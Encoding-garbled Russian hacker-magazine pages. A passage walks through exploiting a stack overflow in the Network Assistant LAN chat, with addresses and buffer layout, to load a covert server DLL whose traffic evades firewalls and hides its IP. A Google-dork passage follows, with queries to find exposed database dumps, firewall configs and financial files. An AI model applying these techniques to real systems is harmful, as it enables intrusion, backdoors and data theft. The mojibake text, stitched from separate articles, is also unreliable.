Ñêàðìëèâàåì ïîëó÷åííóþ ïðîãðàì-
ìó â DeDe, ïîñëå ÷åãî ïîëó÷àåì âû-
õîäíîé ôàéë Unit1.pas. Òàê êàê ïðîã-
ðàììà ìàëåíüêàÿ, òî ñìîòðåòü òàì
ïî÷òè íå íà ÷òî, è âîò ÷òî ìû âèäèì
(ñì. ðèñ. 6):

TForm1.CheckBox1: TCheckBox � ýòî
íàçâàíèå è êëàññ íàøåãî CheckBox,
TCheckBox.GetChecked � ôóíêöèÿ, êî-
òîðàÿ áåðåò çíà÷åíèå ôëàæêà è âîçâ-
ðàùàåò çíà÷åíèå íà âûõîäå. Ïîñëåä-
íèå äâå ñòðî÷êè êîäà - ýòî ïðîâåðêà if
� then. Âîò ïðèìåðíî òàêîé êîä íàì è
íóæíî íàéòè. Äåëàåì òó æå îïåðàöèþ
ñ Íàññè. DeDe âûïëåâûâàåò íàì êó÷ó
íåïîíÿòíûõ ôàéëîâ ñ ðàñøèðåíèåì
*.pas. Ïîñìîòðèì, ÷òî òàì çà íàçâàíèÿ.
Setup.pas - òî, ÷òî íàäî. Òàê íàçûâàåò-
ñÿ ðàçäåë ìåíþ, ãäå íàõîäÿòñÿ íàñò-
ðîéêè. Òåïåðü èùåì ñòðîêó
GetChecked. Ïîñëå äëèòåëüíûõ ïîèñ-
êîâ ìû ïðèøëè ê âûâîäó, ÷òî íàçâà-
íèå íàøåãî CheckBox -
TSetupForm.CB2Õ, ãäå Õ ïðèíèìàåò
çíà÷åíèÿ îò 0 äî 6, òî åñòü âñåãî ñó-
ùåñòâóåò ñåìü CheckBox. 

Â ëèñòèíãå ìîæíî âèäåòü, êàê âûçû-
âàþò ôóíêöèþ âçÿòèÿ ôëàãà
TCheckBox.GetChecked è ðåçóëüòàò êëà-
äóò â íåêóþ ïåðåìåííóþ. Çäåñü êàê ðàç
è íà÷èíàåòñÿ ñàìîå èíòåðåñíîå. Åñëè
âîçâðàùàòü íå ðåçóëüòàò, à íîëü, òî
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Áîëåå äå-
òàëüíóþ
èíôîðìà-
öèþ èùè â
Microsoft
Knowledge
Base Article
� 102025
(support.mic
rosoft.com/
default.aspx
?scid=kb;en-
us;102025).

Ðèñ. 3. Äåéñòâèòåëüíûå ïîðòû Network
Assistant

Ðèñ. 4. Ïåðåõâà÷åííûé ïàêåò

Ðèñ. 5. Ïðèìåð ïðîãðàììû ñ CheckBox



Network Assistant áóäåò äóìàòü, ÷òî
CheckBox íå âûáðàí. Âèçóàëüíî íåò íè-
êàêèõ èçìåíåíèé, êîãäà ìû åãî âûáèðà-
åì - îí âûáðàí, à êîãäà ñíèìàåì ôëà-
æîê - îí ñíèìàåòñÿ. Íî ýòîò ôèíò áóäåò
ðàáîòàòü, òîëüêî åñëè ìû çàéäåì â ìå-
íþ Setup. À òðåáóåòñÿ, ÷òîáû ýòî ðàáî-
òàëî âñåãäà, êîãäà åñòü òàêîå æåëàíèå
:). Ïîæàëóé, íàäî ïîëþáîïûòñòâîâàòü, à
ãäå æå ïðîâåðÿþò ýòîò ôëàã, êîãäà ìû
íàæèìàåì íà êíîïêó ïðîñìîòðà ñïèñêà
ïðîöåññîâ. Òóò íàì ïîíàäîáèòñÿ îòëàä-
÷èê. Çàãðóæàåì ïðîãðàììó â îòëàä÷èê
ïî íàæàòèþ êëàâèø <Ctrl>+<G>. Ïåðåõî-
äèì ïî àäðåñó 004A98BA (ñì. ðèñóíîê
7) è ñòàâèì áðåéêïîèíò íà ýòîò àäðåñ.
Ïî <F9> çàïóñêàåì ïðîãðàììó, âõîäèì â
Setup è ñðàçó, áåç âñÿêèõ èçìåíåíèé,
æìåì Ok. Â îòëàä÷èêå àêòèâèðóåòñÿ
áðåéêïîèíò. Íàæèìàåì <Ctrl>+<G> â îêíå
ïàìÿòè ïðîãðàììû è âûáèðàåì â ðå-
ãèñòð EDX. Òåïåðü ìû íàõîäèìñÿ ïî àä-
ðåñó ïåðåìåííîé (004CB558), â êîòî-
ðóþ ïîìåùàþò ðåçóëüòàò (ñì. ðèñóíîê
8). Àäðåñ ìîæåò îòëè÷àòüñÿ â ðàçëè÷-
íûõ âåðñèÿõ Windows. Êàê ïîêàçàíî íà
ðèñ. 8, âûçûâàåì êîíòåêñòíîå ìåíþ è
ñòàâèì áðåéê íà äîñòóï ê ïàìÿòè, òî
åñòü - íà ÷òåíèå/çàïèñü. Òðàññèðóåì
ïðîãðàììó äàëüøå.

Ñðàçó æå âûïîëçàåò òåòÿ Îëÿ è ñî-
îáùàåò, ÷òî ïîïàëàñü-òàêè ïðîâå-

ðî÷êà ôëàãà. Â ýòîì ìåñòå ìû è áó-
äåì âîçâðàùàòü ïðè ëþáûõ óñëîâè-
ÿõ 0 (ñì. ðèñóíîê 5). Äëÿ Network
Assistant ýòî - ñáðîøåííûé ôëàã, òî
åñòü óäàëåííûé äîñòóï áóäåò ðàçðå-
øåí. Àíàëîãè÷íûì ñïîñîáîì èùåì è
ìåíÿåì äðóãèå ôëàãè.

ÏÎÈÑÊ ÄÛÐÛ Â NETWORK
ASSISTANT

Ñòðóêòóðà ïàêåòîâ Network
Assistant íàì óæå èçâåñòíà. Ïîïðîáó-
åì èç èìåþùåéñÿ èíôîðìàöèè âû-
æàòü ìàêñèìóì. Äëÿ íàñ îñîáûé èíòå-
ðåñ ïðåäñòàâëÿþò âñåâîçìîæíûå ìàñ-
ñèâû è ñòðèíãè (êñòàòè, ïåðåñòàíü
êàæäûé ðàç óëûáàòüñÿ ïðè ñëîâå
«ñòðèíãè» - ìû ëþäè ñòàðîé çàêàëêè è
óïîòðåáëÿåì ýòî ñëîâî â èñêëþ÷è-
òåëüíî êîìïüþòåðíîì ñìûñëå :)). Ïåð-
âîå, ÷òî áðîñàåòñÿ â ãëàçà, � ýòî
ñòðèíãè ñ íàçâàíèåì õîñòà-îòïðàâèòå-
ëÿ è íèêîì ïîëüçîâàòåëÿ. Ïîïðîáóåì
ñôîðìèðîâàòü è îòïðàâèòü ïàêåò ñ
ìàêñèìàëüíî âîçìîæíîé äëèíîé
ñòðèíãà (ðàâíîé 255).

Îòïðàâèâ ïàêåò ñ íàçâàíèåì õîñòà-
îòïðàâèòåëÿ äëèíîé â 255 áàéò, ïîëó-
÷àåì àâàðèéíîå çàâåðøåíèå ïðîãðàì-
ìû. Ïåðåïîëíåíèå íàéäåíî! Ê ñîæàëå-
íèþ, ïîêàçàòü ñêðèíøîò íå ïðåäñòàâ-
ëÿåòñÿ âîçìîæíûì - Network Assistant

ñëåòàåò íàìåðòâî áåç åäèíîãî ïèñêà.
Îáúÿñíåíèå ýòîìó ÿâëåíèþ î÷åíü
ïðîñòîå � ïðîãðàììà íàïèñàíà íà
Delphi, à ñèå òâîðåíèå ãåíèàëüíîé Áîð-
ëàíä î÷åíü ëþáèò ðàçìåùàòü â ñòåêå
(ñðàçó çà àäðåñîì âîçâðàòà èç ïðîöå-
äóðû) ôðåéì SEH (ñòðóêòóðíàÿ îáðà-
áîòêà èñêëþ÷åíèé). Òàêèì îáðàçîì, ìû
íå òîëüêî ïîìåíÿëè àäðåñ âîçâðàòà
ïðîöåäóðû-îáðàáîò÷èêà ïîñòóïèâøèõ
ïàêåòîâ, íàðóøèâ íîðìàëüíûé õîä âû-
ïîëíåíèÿ ïðîãðàììû, íî è ñ óñïåõîì
çàâàëèëè öåïî÷êó îáðàáîò÷èêîâ SEH.
Ñ ýòèì ïîñëåäíèì óäàðîì Network
Assistant óæå íå â ñèëàõ ñïðàâèòüñÿ.
Óçíàòü òî÷íûé ðàçìåð ïåðåïîëíÿåìî-
ãî áóôåðà è äðóãèå âàæíûå íþàíñû
ìåòîäîì òûêà íå óäàñòñÿ, ïîýòîìó äà-
ëåå ïîëàãàåìñÿ íà äåáàãåð.

ÈÑÑËÅÄÎÂÀÍÈÅ NETWORK
ASSISTANT ÈÇÍÓÒÐÈ

Èòàê, ïåðåä íàìè íàõîäèòñÿ ãîòî-
âàÿ ê ïðèíÿòèþ ñïåöèàëüíûì îáðà-
çîì ñôîðìèðîâàííîãî ïàêåòà óÿçâè-
ìàÿ ê ïåðåïîëíåíèþ ïðîöåäóðà-îáðà-
áîò÷èê ïîñòóïèâøèõ ïàêåòîâ (íàõî-
äèòñÿ ïî àäðåñó 0x004BB938; åå ìîæ-
íî íàéòè, ïîñòàâèâ áðåéê íà API-
ôóíêöèþ recvfrom). Íå áóäåì ðàññêà-
çûâàòü, êàêèì îáðàçîì ìû îáíàðóæè-
ëè îãðàíè÷åíèÿ â íåé. Íåìíîãî ôàí-
òàçèè, íåìíîãî îïûòà, è äåëî â øëÿïå.
Ñóòü îãðàíè÷åíèé ñâîäèòñÿ ê òîìó,
÷òî ÷óæîé êîä ðàáîòàåò ïî çàðàíåå
îãîâîðåííîìó àâòîðîì ïëàíó, è îí íå
ïðèñïîñîáëåí ê òîìó, ÷òîáû ïðèíÿòü
íàø íåïðàâèëüíûé ïàêåò, äà åùå è
êîððåêòíî åãî îáðàáîòàòü. Ïåðâîå,
÷òî ìû íàðóøàåì, ïåðåïîëíÿÿ ñòåê, �
çàòèðàåì áîëüøóþ ÷àñòü ëîêàëüíûõ
ïåðåìåííûõ óÿçâèìîé ïðîöåäóðû, íî
ñîâñåì íå ôàêò, ÷òî òàêàÿ îãðîìíåé-
øàÿ ïðîöåäóðà, êàê ïàðñåð ïàêåòîâ,
èñïîëüçóåò âñå ëîêàëüíûå ïåðåìåí-
íûå. Íå çíàþ, ïî÷åìó íàì òàê ïîíðà-
âèëñÿ ïàêåò ñ ID=0x0F, íî, èçó÷èâ êîä
ïðîöåäóðû, ìû ïðèøëè ê âûâîäó, ÷òî
òà ÷àñòü ïðîöåäóðû, êîòîðàÿ îòâå÷àåò
çà îáðàáîòêó ïàêåòà 0x0F, ÍÅ ÈÑ-
ÏÎËÜÇÓÅÒ ëîêàëüíûõ ïåðåìåííûõ,
çàòåðòûõ â ïðîöåññå ñðûâà ñòåêà. ×òî
ó íàñ åñòü? 16-áàéòîâûé ìàññèâ ïîä
íàçâàíèå õîñòà (dword ptr EBP-80h),
èìåííî åãî ìû è áóäåì ïåðåïîëíÿòü.
Ñóòü ïåðåïîëíåíèÿ ñâîäèòñÿ ê òîìó,
÷òî çàïèñü íàçâàíèÿ õîñòà èç ïîëó-
÷åííîãî ïàêåòà â ýòîò ìàññèâ ïðîèç-
âîäèòñÿ áåç ïðîâåðêè äëèíû. Àâòîðû
ïðîãðàììû íàèâíî ïîëàãàëèñü íà òî,
÷òî äëèíà íàçâàíèÿ õîñòà íå ìîæåò
ïðåâûøàòü 15 ñèìâîëîâ. Òàêæå íàì
î÷åíü ïîâåçëî, ÷òî êîïèðîâàíèå
ñòðèíãîâ ïðîèçâîäèòñÿ íå ñ ïîìîùüþ
ñòðîêîâûõ ôóíêöèé, à ïîñðåäñòâîì
ñòàðîé äîáðîé CopyMemory. Ýòîò
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Çàìå÷à-
òåëüíàÿ
ñòàòüÿ î
òîì, êàê
ñòàòü íåâè-
äèìûì ïîä
Windows
NT, íàõî-
äèòñÿ ïî
àäðåñó
www.wasm.r
u/article.php
?article=hidi
ngnt.

Ðèñ. 6. Êîä ïðîãðàììû ïîñëå îáðàáîòêè DeDe

Ðèñ. 7. Óñòàíîâêà ôëàãà â ïåðåìåííóþ

Ðèñ. 9. Ñòàâèì ðåçóëüòàò ïðîâåðêè �íîëü� Ðèñ. 8. Óñòàíîâêà áðåéêïîèíòà íà äîñòóï ê ïàìÿòè

ÝÊÑÏËÎÈÒ ÄËß ÑÅÒÅÂÎÃÎ ×ÀÒÀ36 ÀÒÀÊÀ



ôàêò èçáàâëÿåò íàñ îò îãðîìíåéøåé
ãîëîâíîé áîëè � íå ïðèäåòñÿ ôîðìè-
ðîâàòü ñòðèíã-ýêñïëîèò (â íåì íåëüçÿ
èñïîëüçîâàòü óïðàâëÿþùèå ñèìâîëû,
è, ñàìîå ãëàâíîå, ñèìâîë �\0�, òàê êàê
íè îäíà ñòðîêîâàÿ ôóíêöèÿ íå îáðà-
áàòûâàåò ñèìâîëû, íàõîäÿùèåñÿ ïîñ-
ëå �\0�). Äðóãèìè ñëîâàìè, ìû ôîðìè-
ðóåì îáû÷íûé ïàêåò äëÿ Network
Assistant è çàïèñûâàåì â íåãî äàííûå
â òîì âèäå, â êàêîì îíè åñòü. Ýòî çíà-
÷èòåëüíî óïðîñòèò êàê íàïèñàíèå
ýêñïëîèòà, òàê è åãî êîä, èçáàâëÿÿ íàñ
îò íåîáõîäèìîñòè âíåäðåíèÿ â
ýêñïëîèò äåêîäåðà. Äëÿ òîãî ÷òîáû
äîòÿíóòüñÿ äî àäðåñà âîçâðàòà â ñòå-
êå, íàì ïðèäåòñÿ çàïèñàòü â ïåðåïîë-
íÿåìûé ìàññèâ 80h áàéò (îò ãðåõà ïî-
äàëüøå áóäåì çàïèñûâàòü èñêëþ÷è-
òåëüíî íóëè, òàê êàê àíàëèç ïðîöåäó-
ðû ïîêàçàë, ÷òî âñå ëîêàëüíûå ïåðå-
ìåííûå èíèöèàëèçèðóþòñÿ íóëÿìè, è,
íàâåðíîå, ãäå-òî àëãîðèòì íà ýòî ïî-
ëàãàåòñÿ, íî íàì íåò íóæäû ïðîâåðÿòü
ñèå ïðåäïîëîæåíèå) ïëþñ åùå 4 áàé-
òà (â ñòåêå ñîõðàíÿåòñÿ ñòàðîå çíà÷å-
íèå ðåãèñòðà EBP). Äàëüøå ñëåäóþò
òðè àðãóìåíòà ôóíêöèè. À çà íèìè ìû
ðàçìåñòèì ïðûæîê íà ñëåäóþùóþ
÷àñòü ýêñïëîèòà. Ïî÷åìó òàê ñëîæíî?
Ïî-äðóãîìó íåëüçÿ, òàê êàê ïåðåïîë-
íÿåìûé áóôåð ñëèøêîì êîðîòêèé,
÷òîáû ðàçìåñòèòü â íåì âåñü êîä öå-
ëèêîì. Ïðîáëåìà â òîì, ÷òî õîòÿ â ýòè
80h áàéò ìîæíî çàïèõàòü êó÷ó êîäà,
íî ê òîìó âðåìåíè, êàê ê íàì ïåðåéäåò
óïðàâëåíèå, òàì áóäåò ìóñîð, à íå
äåëüíûé êîä. Ïîýòîìó è ïðèõîäèòñÿ
ðàçìåùàòü êîä ïî êóñêàì, â òåõ ìåñ-
òàõ ñòåêà, â êîòîðûå ãàðàíòèðîâàííî
íå ïðîèçâîäèòñÿ çàïèñü â ïðîöåññå
èñïîëíåíèÿ óÿçâèìîé ïðîöåäóðû. Ìû
îáîøëèñü âñåãî òðåìÿ ÷àñòÿìè. Âî
âòîðîé ÷àñòè ìû îñóùåñòâëÿåì ðàç-
áîð ïàêåòà, àíàëîãè÷íî ñàìîìó

Network Assistant. Äâèãàåìñÿ ïî çàãî-
ëîâêó ïàêåòà, ïîêà íå äîéäåì äî îñ-
íîâíîé ÷àñòè ýêñïëîèòà, ðàçìåùåí-
íîé â ïàêåòå âìåñòî òåêñòà ñîîáùå-
íèÿ. Âîò íà ýòó òðåòüþ ÷àñòü êîäà è
ïåðåäàåì óïðàâëåíèå. Ýòà ÷àñòü ñà-
ìàÿ äëèííàÿ, ïîðÿäêà íåñêîëüêèõ êè-
ëîáàéò, íî ñàìîãî êîäà òàì âñåãî-òî
íåñêîëüêî ñòðîê � ïîèñê ñèñòåìíîé
äèðåêòîðèè, çàïèñü â íåå DLL (ñåð-
âåðíàÿ ÷àñòü) è ñîáñòâåííî çàãðóçêà
DLL â àäðåñíîå ïðîñòðàíñòâî Network
Assistant, ïîñëå ÷åãî âîçâðàùàåòñÿ
óïðàâëåíèå ïîñëåäíåìó. Äàëåå â ïà-
êåòå ðàçìåùàåòñÿ ñåðâåðíàÿ DLL, êî-
òîðàÿ ñîçäàåò îòäåëüíûé ïîòîê äëÿ
çàõâàòà ïàêåòîâ èç ñåòè, àíàëèçà èõ
íà ïðåäìåò ïàêåòîâ îò êëèåíòà.

ÍÅÂÈÄÈÌÀß ÇÀÃÐÓÇÊÀ
ÎÑÍÎÂÍÎÃÎ ÊÎÄÀ ÝÊÑÏËÎÈÒÀ

Óïðàâëåíèå çàõâà÷åíî. Ñàìîå âðåìÿ
âûïîëíèòü â ïðîöåññå Network Assistant
ñâîé êîä. Ìîæíî ïèñàòü áàçîíåçàâèñè-
ìûé êîä íà Àññåìáëåðå, òî åñòü áåç èñ-
ïîëüçîâàíèÿ àáñîëþòíûõ àäðåñîâ, íî ñ
êàæäûì ñëåäóþùèì êèëîáàéòîì êîäà
ýòî çàíÿòèå ñòàíîâèòñÿ âñå áîëåå ñêó÷-
íûì è óòîìèòåëüíûì. Ïîýòîìó ìû ïîé-
äåì äðóãèì ïóòåì. Ñåðâåðíóþ ÷àñòü
îôîðìèì â âèäå DLL, êîòîðàÿ áóäåò çàã-
ðóæàòüñÿ íà çàðàæåííîì õîñòå â àäðåñ-
íîå ïðîñòðàíñòâî Network Assistant è èñ-
ïîëíÿòüñÿ â îòäåëüíîì ïîòîêå. Êîíå÷íî
æå, íàáëþäàòåëüíûé ïîëüçîâàòåëü ñìî-
æåò çàìåòèòü íîâûé ïîòîê, íî ýòî ñêî-
ðåå êàçóèñòèêà, ÷åì ðåàëüíûé ñþæåò
ðàçâèòèÿ ñîáûòèé. Â äåéñòâèòåëüíîñòè
íèêòî íå ñëåäèò çà êîëè÷åñòâîì ïîòîêîâ
â ñèñòåìå. Â êðàéíåì ñëó÷àå, ìîæíî
ïðîñòî ñêðûòü ïðèñóòñòâèå â ñèñòåìå òî-
ãî èëè èíîãî ïîòîêà.

Åäèíñòâåííîé ïðîáëåìîé ìîæåò
ñòàòü íàëè÷èå îäíîèìåííîé DLL â êà-
òàëîãå íàçíà÷åíèÿ. Äëÿ ïðåîäîëåíèÿ

ýòîé òðóäíîñòè îñíîâíîé êîä ýêñïëîè-
òà äîëæåí óìåòü ôîðìèðîâàòü ñëó÷àé-
íûå èìåíà ôàéëà, çàïèñûâàòü íà äèñê
DLL ñ ýòèì íàçâàíèåì è ñîáñòâåííî
çàãðóçèòü íîâîèñïå÷åííóþ DLL â ïà-
ìÿòü. Êàê óæå áûëî íàïèñàíî, ìû ïîñ-
òóïèëè ñëåäóþùèì îáðàçîì � ñôîðìè-
ðîâàëè ñïåöèàëüíûé ïàêåò, ñîñòîÿ-
ùèé èç äâóõ ÷àñòåé: êîä ýêñïëîèòà è
ñåðâåðíàÿ DLL. Äàííûé ïàêåò ñ óñïå-
õîì ïðîõîäèò ÷åðåç ëþáîé ôàåðâîë,
òàê êàê åãî íåâîçìîæíî îòëè÷èòü îò
ðîäíûõ ïàêåòîâ Network Assistant. Äà-
ëåå îí ïîïàäàåò â ïðîöåäóðó-ïàðñåð
ïðîãðàììû. Çäåñü åñòü ìàëåíüêèé íþ-
àíñ � ïàêåò äîëæåí áûòü àäðåñîâàí êà-
íàëó, êîòîðûé òî÷íî íå îòêðûò íà öå-
ëåâîì õîñòå, èíà÷å ïàðñåð íå ñìîæåò
êîððåêòíî îáðàáîòàòü íåïðàâèëüíûé
ïàêåò è Íàññè ïîâèñíåò, âìåñòî òîãî
÷òîáû ïåðåäàòü óïðàâëåíèå íàøåìó
êîäó. Äëÿ ýòîãî ìîæíî ôîðìèðîâàòü
ñëó÷àéíûå íàçâàíèÿ êàíàëà. 

ÑÎÊÐÛÒÈÅ ÎÁÌÅÍÀ
ÈÍÔÎÐÌÀÖÈÅÉ ÌÅÆÄÓ
ÊËÈÅÍÒÎÌ È ÑÅÐÂÅÐÎÌ

Êàê îñóùåñòâëÿòü îáìåí äàííûìè
ìåæäó êëèåíòîì è ñåðâåðîì? Ñåðâåð
ìîæåò îòêðûòü ëþáîé íåçàíÿòûé ïîðò è
ñëóøàòü åãî, àíàëîãè÷íî îí ìîæåò îò-
ñûëàòü íà çàðàíåå îãîâîðåííûé ïîðò
äàííûå êëèåíòó. Íî ýòî, â ëó÷øåì ñëó-
÷àå, ÷ðåâàòî âîçìîæíîñòüþ ñòîëêíóòü-
ñÿ ñ áëîêèðîâêîé ïîðòîâ íà ñòîðîíå çà-
ðàæåííîãî õîñòà, à â õóäøåì - îïàñ-
íîñòüþ íàøåãî îáíàðóæåíèÿ. Ïîðàñêè-
íóâ ìîçãàìè, ïðèõîäèì ê âûâîäó, ÷òî
äëÿ ñâÿçêè êëèåíò-ñåðâåð êëèåíòó íè÷-
òî íå ìåøàåò ïîñûëàòü ïàêåòû íà ïîðò
Network Assistant, à ñåðâåðó - ïåðåõâà-
òûâàòü âñå ïàêåòû è âûäåëÿòü èç íèõ
íàøè. Òàê êàê êëþ÷åâîé ìîìåíò â ïðî-
òîêîëå Network Assistant åñòü ïîëå ID
(òèï ïàêåòà, ñìåùåíèå 0x07), ïðîáóåì
ôîðìèðîâàòü ñâîè ïàêåòû ñ ID, êîòîðûé
íå èñïîëüçóåòñÿ (íàïðèìåð, 0x08). Êðî-
ìå òîãî, èçó÷èâ ïàðñåð ïàêåòîâ Íàññè,
ìîæíî óâåðåííî ñêàçàòü, ÷òî ïàêåòû ñ
íåèñïîëüçóåìûì ID áóäóò èãíîðèðî-
âàòüñÿ áåç êàêèõ-ëèáî çàìå÷àíèé. Òî
åñòü Network Assistant èõ îòáðîñèò êàê
íåïðàâèëüíûå, çàòî íàø ñíèôåð ñ óñ-
ïåõîì èõ ïåðåõâàòèò è îáðàáîòàåò. Äëÿ
òîãî ÷òîáû ñåðâåð íå çàñâåòèë íàø IP-
àäðåñ, îí äîëæåí îòñûëàòü øèðîêîâå-
ùàòåëüíûå îòâåòû íà íàøè ñîîáùåíèÿ.
Ýòî íåìíîãî íàãðóçèò ñåòü, çàòî èçáà-
âèò íàñ îò ëèøíåé ãëàñíîñòè :).

ÝÒÎ ÊÎÍÅÖ�
Êîíå÷íî, âðåìÿ íå ñòîèò íà ìåñòå, è

äàâíî óæå óâèäåëè ñâåò íîâûå âåðñèè
Network Assistant. Â ïîñëåäíåé âåðñèè
- 3.2 - ìû ïîêà íå íàøëè áîëåå-ìåíåå
ñòîÿùèõ óÿçâèìîñòåé, è ýòî ðàäóåò, òàê
êàê èç-çà íåáðåæíîñòè àâòîðîâ èçâåñò-
íûõ ïðîãðàììíûõ ïðîäóêòîâ íå äîëæ-
íû ñòðàäàòü ïðîñòûå ïîëüçîâàòåëè. À
÷òî ñàìîå ãëàâíîå, íà ïðèìåðå ýòîé
âåðñèè òû ïîëó÷èë ïðåäñòàâëåíèå î
òîì, êàê îñóùåñòâëÿåòñÿ ïîäõîä ê àíà-
ëèçó è ïîèñêó óÿçâèìîñòåé â èíòåðíåò-
ïðèëîæåíèÿõ. Óäà÷è! E

37

À
Ò

À
Ê

À
 
Í

À
 
W

I
N

D
O

W
S

Ðèñ. 10. Ïàêåò, âûçûâàþùèé ïåðåïîëíåíèå

Ïåðâîå, ÷òî ìû íàðóøàåì, ïåðåïîëíÿÿ
ñòåê, � çàòèðàåì áîëüøóþ ÷àñòü ëîêàëüíûõ

ïåðåìåííûõ óÿçâèìîé ïðîöåäóðû.



Lame@pochta.ru

T û ïðîñíóëñÿ ðàíî âå÷åðîì ñ íåïðåîäîëèìûì æåëàíèåì ÷òî-íèáóäü ñîòâîðèòü. Îòêðûë ïî÷òó, ïî÷èòàë bugtraq è íà-
øåë ïàðî÷êó âïîëíå ïîäõîäÿùèõ äûðîê â ïîïóëÿðíûõ Web-ôîðóìàõ èëè ñâåæóþ äûðêó â Apache. Ïðèâû÷íî çàïóñ-

òèâ nmap íà ïîèñê îòêðûòûõ 80-õ ïîðòîâ, òû çàøåë íà Google ñ öåëüþ íàéòè ñèãíàòóðó äëÿ Nessus, èùóùóþ ýòè äûð-
êè. À çà÷åì òàê âñå óñëîæíÿòü?

ÊÒÎ ÈÙÅÒ, 
ÒÎÒ ÂÑÅÃÄÀ ÍÀÉÄÅÒ 
ÏÎÈÑÊÎÂÛÉ ÑÅÐÂÅÐ ÊÀÊ ÎÐÓÆÈÅ ÕÀÊÅÐÀ

îâðåìåííûå ïîèñêî-
âûå ìàøèíû ÿâëÿþòñÿ
ìîùíåéøèì èíñòðó-
ìåíòîì, êîòîðûé ìî-
æåò áûòü èñïîëüçîâàí

â ðàçíûõ öåëÿõ. Â ðóêàõ ïðîôåññèî-
íàëà îíè ëåãêî ìîãóò ïðåâðàòèòüñÿ â
ãðîçíîå îðóæèå. Ïàòðèàðõîì âçëîìà
ñ ïîìîùüþ Google (Google Hacking)
ïðèíÿòî ñ÷èòàòü Äæîííè Ëîíãà
(Johnny Long), àâòîðà ðóêîâîäñòâà
"The Google Hacker's Guide", êîòîðîå
ìîæíî ïðî÷èòàòü íà åãî ñàéòå
http://johnny.ihackstuff.com. Âåñüìà ðåêî-
ìåíäóåì ïåðèîäè÷åñêè íàâåäûâàòü-
ñÿ òóäà â ïîèñêàõ íîâûõ "google-
dorks" - ïîèñêîâûõ çàïðîñîâ äëÿ
Google, êîòîðûå ìîæíî èñïîëüçî-
âàòü äëÿ ïîëó÷åíèÿ ðàçëè÷íîé èíòå-
ðåñíîé èíôîðìàöèè.

Òàê êàê æå ïîèñêîâàÿ ìàøèíà ìîæåò
çàìåíèòü ïðèâû÷íûé èíñòðóìåíòàðèé
õàêåðà?

ÎÏÐÅÄÅËÅÍÈÅ ÂÅÐÑÈÈ 
WEB-ÑÅÐÂÅÐÀ

Çàïóñòèâ nmap ñ êëþ÷îì -A, ìîæ-
íî ïîëó÷èòü èíôîðìàöèþ î òèïå è
âåðñèè HTTP-ñåðâåðà íà ìàøèíå èñ-
ñëåäóåìîãî îáúåêòà. Îäíàêî Google
ïîçâîëÿåò ñäåëàòü ýòî ãîðàçäî ïðî-
ùå. Ñóùåñòâóåò íåñêîëüêî ìåòîäîâ
îïðåäåëåíèÿ âåðñèè ñåðâåðà ñ ïî-
ìîùüþ ïîèñêîâûõ ìàøèí, ñàìûé
ðàñïðîñòðàíåííûé èç êîòîðûõ - èñ-
ïîëüçîâàíèå ñîäåðæèìîãî ñåðâåðà
ïîñëå óñòàíîâêè è ëèñòèíãîâ äèðåê-
òîðèé. Ìíîãèå web-ñåðâåðû (à èíîãäà
è îïåðàöèîííûå ñèñòåìû, óñòàíàâëè-
âàþùèå web-ñåðâåð â ñîñòàâå ñòàí-
äàðòíîãî íàáîðà äèñòðèáóòèâîâ) ïîñ-
ëå óñòàíîâêè ñîäåðæàò ñòàíäàðòíóþ
ñòðàíèöó ïðèâåòñòâèÿ. Îáû÷íî íà
ýòîé ñòðàíèöå ïðèñóòñòâóþò êëþ÷å-

âûå ñëîâà, ïî êîòîðûì ëåãêî îïðåäå-
ëèòü âåðñèþ ñåðâåðà.

Íàïðèìåð, ââåäÿ â Google çàïðîñ
intitle:Test.Page.for.Apache
it.worked!, òû ïîëó÷èøü ñïèñîê ñåð-
âåðîâ, íà êîòîðûõ óñòàíîâëåí
Apache 1.2.6 â êîíôèãóðàöèè ïî
óìîë÷àíèþ. "Êîíôèãóðàöèÿ ïî
óìîë÷àíèþ" òåáå íè î ÷åì íå ãîâî-
ðèò :)? Äëÿ òîãî ÷òîáû íàéòè IIS 6.0,
ìîæíî âîñïîëüçîâàòüñÿ çàïðîñîì
intitle:Under.Construction "Disabling
Dynamic". È çàìåòü: òû îáùàëñÿ
òîëüêî ñ Google, íè îäèí áàéò îò òå-
áÿ íå äîøåë äî ñåðâåðà. 

Äðóãîé ìåòîä îïðåäåëåíèÿ âåðñèè
ðàáîòàåò â òîì ñëó÷àå, åñëè íà ñåð-
âåðå ðàçðåøåí ïðîñìîòð ñîäåðæè-
ìîãî äèðåêòîðèé. Ñåðâåðû âûäàþò
ñïèñîê ôàéëîâ â âèäå HTML-ñòðàíè-
öû, äîáàâëÿÿ ê íèì çàãîëîâêè, ïî

êîòîðûì ìîæíî âûÿñíèòü èõ âåð-
ñèþ. Íàïðèìåð, çàïðîñ
intitle:index.of server.at ïîçâîëÿåò
âû÷èñëèòü ñåðâåðû ñ óñòàíîâëåí-
íûì Apache, à äëÿ ïîèñêà IIS ïîäõî-
äèò çàïðîñ "[To Parent Directory]"
"<dir>". Åñëè óáðàòü <dir>, ïîëó÷èøü
áîëüøå âàðèàíòîâ, íî ñðåäè íèõ áó-
äåò è áîëüøå îøèáî÷íûõ.

Åùå îäèí ïîëåçíûé ðåñóðñ, î êîòî-
ðîì íå ñòîèò çàáûâàòü, - ýòî Netcraft
(www.netcraft.com). Ýòîò ñåðâèñ èñïîëü-
çóåò òåõíèêó remote fingerprinting
äëÿ âûÿñíåíèÿ îïåðàöèîííîé ñèñòå-
ìû è âåðñèè ñëóæá íà web-ñåðâåðàõ.
Îäíàêî ïîëüçîâàòüñÿ èì äëÿ ýòèõ
öåëåé íå î÷åíü óäîáíî, ïîñêîëüêó
îí íå ïîçâîëÿåò èñêàòü ñåðâåðû ïî
îïåðàöèîííîé ñèñòåìå. È çäåñü íà
âûðó÷êó ïðèõîäèò Google. Íèæå ïðè-
âåäåíû äâà çàïðîñà, ïîçâîëÿþùèå ñ
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Õî÷åøü
ïîñòèãíóòü
àçû, ÷èòàé
òðóäû
Äæîííè
Ëîíãà -
http://john-
ny.ihack-
stuff.com.

Ñ ïîìîùüþ
Google õà-
êåðû èùóò
íå òîëüêî
ïîëåçíóþ
èíôîðìà-
öèþ, íî è
äûðêè.

ÊÒÎ ÈÙÅÒ, ÒÎÒ ÂÑÅÃÄÀ ÍÀÉÄÅÒ 38 ÀÒÀÊÀ

#mysql ddump ffiletype:sql - ïîèñê äàìïîâ áàç äàííûõ MySQL
Host VVulnerability SSummary RReport - îò÷åòû ñêàíåðîâ óÿçâèìîñòåé
filetype:conf iinurl:firewall -iintitle:cvs - êîíôèãóðàöèîííûå ôàéëû
ôàåðâîëîâ
intitle:index.of ffinances.xls - ôàéëû ñ ôèíàíñîâûìè îò÷åòàìè 
